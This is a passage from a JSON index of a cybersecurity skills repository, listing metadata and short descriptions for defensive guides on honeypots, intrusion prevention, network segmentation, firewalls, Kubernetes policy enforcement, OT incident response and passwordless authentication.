-->","isInternal":false,"tokens":910,"sizeBytes":2899},{"name":"SKILL.md","path":"skills/implementing-network-deception-with-honeypots/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-deception-with-honeypots/SKILL.md","title":"implementing-network-deception-with-honeypots","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2FSKILL.md -->","frontmatter":{"name":"implementing-network-deception-with-honeypots","description":"Deploy and manage network honeypots using OpenCanary, T-Pot, or Cowrie to detect unauthorized access, lateral movement, and attacker reconnaissance.","domain":"cybersecurity","subdomain":"deception-technology","tags":["deception","honeypot","opencanary","cowrie","t-pot","detection","lateral-movement","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-06","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1021","T1550"]},"isInternal":false,"tokens":754,"sizeBytes":3045},{"name":"api-reference.md","path":"skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":933,"sizeBytes":2971},{"name":"SKILL.md","path":"skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md","title":"implementing-network-intrusion-prevention-with-suricata","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2FSKILL.md -->","frontmatter":{"name":"implementing-network-intrusion-prevention-with-suricata","description":"Deploys and configures Suricata as an inline network intrusion prevention system, covering IPS mode setup (NFQueue), custom rule writing, Emerging Threats ruleset management, performance tuning, and logging integration. Use when deploying real-time inline traffic inspection to actively block malicious traffic, or when tuning Suricata rules and performance for production IDS/IPS deployment.","domain":"cybersecurity","subdomain":"network-security","tags":["suricata","ips","ids","intrusion-prevention","network-security","emerging-threats","rule-management","nfqueue","inline-mode"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3338,"sizeBytes":11999},{"name":"template.md","path":"skills/implementing-network-policies-for-kubernetes/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-policies-for-kubernetes/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":114,"sizeBytes":533},{"name":"api-reference.md","path":"skills/implementing-network-policies-for-kubernetes/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-policies-for-kubernetes/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":339,"sizeBytes":1426},{"name":"standards.md","path":"skills/implementing-network-policies-for-kubernetes/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-policies-for-kubernetes/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":170,"sizeBytes":735},{"name":"workflows.md","path":"skills/implementing-network-policies-for-kubernetes/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-policies-for-kubernetes/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":167,"sizeBytes":828},{"name":"SKILL.md","path":"skills/implementing-network-policies-for-kubernetes/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-policies-for-kubernetes/SKILL.md","title":"implementing-network-policies-for-kubernetes","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2FSKILL.md -->","frontmatter":{"name":"implementing-network-policies-for-kubernetes","description":"Writes portable upstream Kubernetes NetworkPolicy YAML - default-deny-all, DNS egress, namespace and pod selector rules - that works on any conformant CNI such as Calico or Cilium. Use when segmentation must stay CNI-portable, introducing a default-deny posture, or restricting east-west traffic between pods and namespaces without depending on a vendor CRD. Keywords: NetworkPolicy, default deny, podSelector, namespaceSelector, ingress, egress, CNI portable. Do not use for Calico-specific resources - use implementing-kubernetes-network-policy-with-calico.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","kubernetes","security","network-policies","microsegmentation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":1505,"sizeBytes":6027},{"name":"api-reference.md","path":"skills/implementing-network-segmentation-for-ot/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-segmentation-for-ot/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":400,"sizeBytes":1362},{"name":"SKILL.md","path":"skills/implementing-network-segmentation-for-ot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-segmentation-for-ot/SKILL.md","title":"implementing-network-segmentation-for-ot","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2FSKILL.md -->","frontmatter":{"name":"implementing-network-segmentation-for-ot","description":"Implements OT network segmentation using VLANs, OT-aware firewalls, data diodes, and IEC 62443 zone/conduit architecture, with a traffic-baseline-driven design tool for migrating flat Purdue-model networks without disrupting operations. Use when segmenting a flat OT network into Purdue levels, deploying an IT/OT DMZ, or isolating safety instrumented systems from basic process control systems.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","network-segmentation","vlan"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":4175,"sizeBytes":17963},{"name":"api-reference.md","path":"skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":668,"sizeBytes":2414},{"name":"SKILL.md","path":"skills/implementing-network-segmentation-with-firewall-zones/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-segmentation-with-firewall-zones/SKILL.md","title":"implementing-network-segmentation-with-firewall-zones","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2FSKILL.md -->","frontmatter":{"name":"implementing-network-segmentation-with-firewall-zones","description":"Designs and implements network segmentation using firewall security zones, VLANs, inter-zone ACLs, and workload-level microsegmentation to restrict east-west lateral movement and enforce least-privilege access. Use when architecting security zones, writing inter-zone firewall policies, or meeting PCI DSS/HIPAA/NIST 800-53/zero-trust segmentation requirements for dynamic or traditional network environments.","domain":"cybersecurity","subdomain":"network-security","tags":["network-segmentation","firewall-zones","vlan","microsegmentation","lateral-movement","zero-trust","acl","east-west-traffic","pci-dss"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1021"]},"isInternal":false,"tokens":3468,"sizeBytes":13469},{"name":"api-reference.md","path":"skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":545,"sizeBytes":2018},{"name":"SKILL.md","path":"skills/implementing-network-traffic-analysis-with-arkime/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md","title":"implementing-network-traffic-analysis-with-arkime","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2FSKILL.md -->","frontmatter":{"name":"implementing-network-traffic-analysis-with-arkime","description":"Queries Arkime (formerly Moloch) full packet capture via its API to search sessions, download PCAPs, detect C2 beaconing through connection interval/jitter stats, spot DNS tunneling via query-length analysis, and flag known-bad TLS certificate issuers, using the bundled scripts/agent.py. Use when investigating suspicious network flows or doing full-packet-capture forensics against an Arkime deployment.","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","arkime","full-packet-capture","nta","pcap-analysis","network-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1095"]},"isInternal":false,"tokens":549,"sizeBytes":2226},{"name":"api-reference.md","path":"skills/implementing-network-traffic-baselining/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-traffic-baselining/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":568,"sizeBytes":1732},{"name":"SKILL.md","path":"skills/implementing-network-traffic-baselining/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-traffic-baselining/SKILL.md","title":"implementing-network-traffic-baselining","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2FSKILL.md -->","frontmatter":{"name":"implementing-network-traffic-baselining","description":"Builds network traffic baselines from NetFlow/IPFIX CSV or JSON exports using Python pandas, computing hourly/daily volume distributions, per-host and protocol/port statistics, and top-talker profiles, then flags outliers via z-score and IQR anomaly detection. Use when a SOC analyst needs to establish normal traffic patterns and surface deviations such as data exfiltration spikes, beaconing, or unusual port usage from historical flow data.","domain":"cybersecurity","subdomain":"network-security","tags":["netflow","ipfix","traffic-analysis","baselining","anomaly-detection","pandas","network-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":570,"sizeBytes":2605},{"name":"template.md","path":"skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":617,"sizeBytes":2460},{"name":"api-reference.md","path":"skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":304,"sizeBytes":1148},{"name":"standards.md","path":"skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":372,"sizeBytes":1510},{"name":"workflows.md","path":"skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":496,"sizeBytes":2338},{"name":"SKILL.md","path":"skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md","title":"implementing-next-generation-firewall-with-palo-alto","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2FSKILL.md -->","frontmatter":{"name":"implementing-next-generation-firewall-with-palo-alto","description":"Configures and deploys Palo Alto Networks next-generation firewalls end-to-end, covering App-ID application-aware policies, User-ID identity-based enforcement, zone-based security rules, SSL decryption for encrypted traffic visibility, and Content-ID threat prevention profiles. Use when moving an enterprise from port-based firewall rules to application- and identity-aware NGFW policy on Palo Alto hardware.","domain":"cybersecurity","subdomain":"network-security","tags":["palo-alto","ngfw","firewall","app-id","user-id","threat-prevention","network-security","ssl-decryption","zone-protection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1553"]},"isInternal":false,"tokens":2686,"sizeBytes":12506},{"name":"template.md","path":"skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":378,"sizeBytes":1445},{"name":"api-reference.md","path":"skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":295,"sizeBytes":1134},{"name":"standards.md","path":"skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":609,"sizeBytes":2129},{"name":"workflows.md","path":"skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":657,"sizeBytes":2767},{"name":"SKILL.md","path":"skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md","title":"implementing-opa-gatekeeper-for-policy-enforcement","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2FSKILL.md -->","frontmatter":{"name":"implementing-opa-gatekeeper-for-policy-enforcement","description":"Deploys OPA Gatekeeper via Helm as a Kubernetes admission controller and writes ConstraintTemplates with Rego plus instantiated Constraints to validate, mutate, or deny resource requests at admission time. Use when enforcing custom policy-as-code at admission on Kubernetes v1.24+, blocking non-compliant workloads before scheduling, or expressing a rule that built-in controls cannot. Keywords: Gatekeeper, ConstraintTemplate, Constraint, Rego, admission webhook, audit, mutation. Do not use for the standard pod security profiles that Pod Security Admission already covers - use implementing-pod-security-admission-controller.","domain":"cybersecurity","subdomain":"container-security","tags":["opa","gatekeeper","kubernetes","admission-control","policy-as-code","rego"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2562,"sizeBytes":10645},{"name":"api-reference.md","path":"skills/implementing-ot-incident-response-playbook/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ot-incident-response-playbook/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":666,"sizeBytes":2639},{"name":"SKILL.md","path":"skills/implementing-ot-incident-response-playbook/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ot-incident-response-playbook/SKILL.md","title":"implementing-ot-incident-response-playbook","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2FSKILL.md -->","frontmatter":{"name":"implementing-ot-incident-response-playbook","description":"Develops OT-specific incident response playbooks using a SANS PICERL-based Python engine that classifies incident severity (safety, process, access, recon) and coordinates IT SOC, OT engineering, and plant operations, aligned with IEC 62443 and NIST SP 800-82. Use when building ICS/SCADA incident response procedures for the first time, preparing for OT ransomware scenarios, or aligning IR with IEC 62443/NERC CIP reporting requirements.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","incident-response","playbook","sans","iec62443","nist","safety-critical"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3643,"sizeBytes":16935},{"name":"api-reference.md","path":"skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":664,"sizeBytes":2319},{"name":"SKILL.md","path":"skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md","title":"implementing-ot-network-traffic-analysis-with-nozomi","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2FSKILL.md -->","frontmatter":{"name":"implementing-ot-network-traffic-analysis-with-nozomi","description":"Deploy Nozomi Networks Guardian sensors for passive OT network traffic analysis, providing asset visibility, behavioral anomaly detection, protocol-aware monitoring, and vulnerability assessment across industrial control systems without disrupting operations. Use when deploying OT/ICS network monitoring, configuring Guardian sensors, or building real-time threat detection for SCADA and industrial environments.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","nozomi","guardian","network-monitoring","asset-visibility","anomaly-detection","ndr"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":2352,"sizeBytes":10083},{"name":"api-reference.md","path":"skills/implementing-pam-for-database-access/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pam-for-database-access/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":716,"sizeBytes":2832},{"name":"SKILL.md","path":"skills/implementing-pam-for-database-access/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pam-for-database-access/SKILL.md","title":"implementing-pam-for-database-access","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2FSKILL.md -->","frontmatter":{"name":"implementing-pam-for-database-access","description":"Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL, covering session proxy configuration, credential vaulting, query auditing, dynamic credential generation, and least-privilege database roles. Use when securing DBA access, implementing database PAM controls, or auditing privileged database sessions.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","privileged-access","pam","database","dba"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1005.004","name":"Account Manipulation: Change Account Details","tactic":"positioning","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":723,"sizeBytes":3171},{"name":"api-reference.md","path":"skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":547,"sizeBytes":2439},{"name":"SKILL.md","path":"skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md","title":"implementing-passwordless-auth-with-microsoft-entra","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2FSKILL.md -->","frontmatter":{"name":"implementing-passwordless-auth-with-microsoft-entra","description":"Implements passwordless authentication using Microsoft Entra ID with FIDO2 security keys, Windows Hello for Business, Microsoft Authenticator passkeys, and certificate-based authentication to eliminate password-based attacks. Use when deploying passwordless sign-in, configuring FIDO2 passkeys, enforcing phishing-resistant MFA, or setting Microsoft Entra authentication method policies.\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["passwordless","FIDO2","passkeys","Microsoft-Entra","Windows-Hello","phishing-resistant-MFA"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1566"],"mitre_f3":{"version":"1.1","tactics":["initial-access"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1111","name":"Multi-Factor Authentication Interception","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":5140,"sizeBytes":21604},{"name":"api-reference.md","path":"skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":775,"sizeBytes":3031},{"name":"standards.md","path":"skills/implementing-passwordless-authentication-with-fido2/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-authentication-with-fido2/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":246,"sizeBytes":888},{"name":"workflows.md","path":"skills/implementing-passwordless-authentication-with-fido2/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-authentication-with-fido2/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 